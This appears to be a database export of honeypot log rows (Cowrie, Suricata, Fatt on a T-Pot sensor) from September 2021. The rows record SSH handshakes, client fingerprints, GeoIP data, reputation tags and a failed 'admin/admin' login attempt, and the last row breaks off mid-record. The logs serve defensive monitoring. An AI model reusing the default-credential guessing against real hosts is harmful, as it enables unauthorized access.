27185	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.647914+03	2021-09-20 14:15:14.246646+03	{"_id": "NgbpAnwBvYTbRNuESiUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f2738451f43a", "@version": "1", "timestamp": "2021-09-20T11:13:35.647914Z", "@timestamp": "2021-09-20T11:13:35.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27186	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:34.698778+03	2021-09-20 14:15:14.248644+03	{"_id": "SQbpAnwBvYTbRNuESiUi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fd0bc369f0d0", "@version": "1", "duration": 2.641930341720581, "timestamp": "2021-09-20T11:13:34.698778Z", "@timestamp": "2021-09-20T11:13:34.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27187	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:35.572354+03	2021-09-20 14:15:14.250647+03	{"_id": "TAbpAnwBvYTbRNuETCUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2005098718756944, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45028, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.572354Z", "@timestamp": "2021-09-20T11:13:35.572Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27188	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:35.49705+03	2021-09-20 14:15:14.251646+03	{"_id": "SwbpAnwBvYTbRNuETCUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 547380376107756, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44374, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.497050Z", "@timestamp": "2021-09-20T11:13:35.497Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27189	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:35.57251+03	2021-09-20 14:15:14.252646+03	{"_id": "TQbpAnwBvYTbRNuETSVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45028, "timestamp": "2021-09-20T11:13:35.572510", "@timestamp": "2021-09-20T11:13:35.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27190	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:13:27.392106+03	2021-09-20 14:15:14.253646+03	{"_id": "ywbpAnwBvYTbRNuEKiTW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e7a27c7ba74b", "@version": "1", "duration": 1.3025529384613037, "timestamp": "2021-09-20T11:13:27.392106Z", "@timestamp": "2021-09-20T11:13:27.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27191	13.75.108.119	109.199.241.180	Suricata	2021-09-20 14:13:27.937863+03	2021-09-20 14:15:14.254646+03	{"_id": "zQbpAnwBvYTbRNuELCTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.42.11.6431222109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:27.497261+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "src_ip": "13.75.108.119", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 269214671148653, "payload": "AAAAVC4eAAAAIIKTq5rbTMpO3PrGEMopyNjBN9AdL3g0zS7G9KgThEpeaMYzq+JzZWLj6KqiwP6itvxDVbcUeLJOaNQBMLSK5mInkmufhe45qm6wfCgInw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58381, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:27.937863Z", "@timestamp": "2021-09-20T11:13:27.937Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .....L.N.....)...7../x4.......J^h.3..seb.........CU..x.Nh..0...b'.k...9.n.|(.."}}	1	\N	\N	alert	\N	\N
27192	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:27.720153+03	2021-09-20 14:15:14.256646+03	{"_id": "zgbpAnwBvYTbRNuELiQL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "13.75.108.119", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58381, "timestamp": "2021-09-20T11:13:27.720153", "@timestamp": "2021-09-20T11:13:27.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27193	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:27.71674+03	2021-09-20 14:15:14.257646+03	{"_id": "0gbpAnwBvYTbRNuELiS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 13.75.108.119:58381 (192.168.176.2:22) [session: a47f1fcfc795]", "session": "a47f1fcfc795", "@version": "1", "protocol": "ssh", "src_port": 58381, "dest_port": 22, "timestamp": "2021-09-20T11:13:27.716740Z", "@timestamp": "2021-09-20T11:13:27.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27194	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:28.396592+03	2021-09-20 14:15:14.258646+03	{"_id": "0QbpAnwBvYTbRNuELiS-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "a47f1fcfc795", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:13:28.396592Z", "@timestamp": "2021-09-20T11:13:28.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27195	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:29.085034+03	2021-09-20 14:15:14.259646+03	{"_id": "2wbpAnwBvYTbRNuEMST0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59536, "dest_port": 22, "timestamp": "2021-09-20T11:13:29.085034", "@timestamp": "2021-09-20T11:13:29.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27196	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:30.305945+03	2021-09-20 14:15:14.261647+03	{"_id": "8wbpAnwBvYTbRNuENSTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@op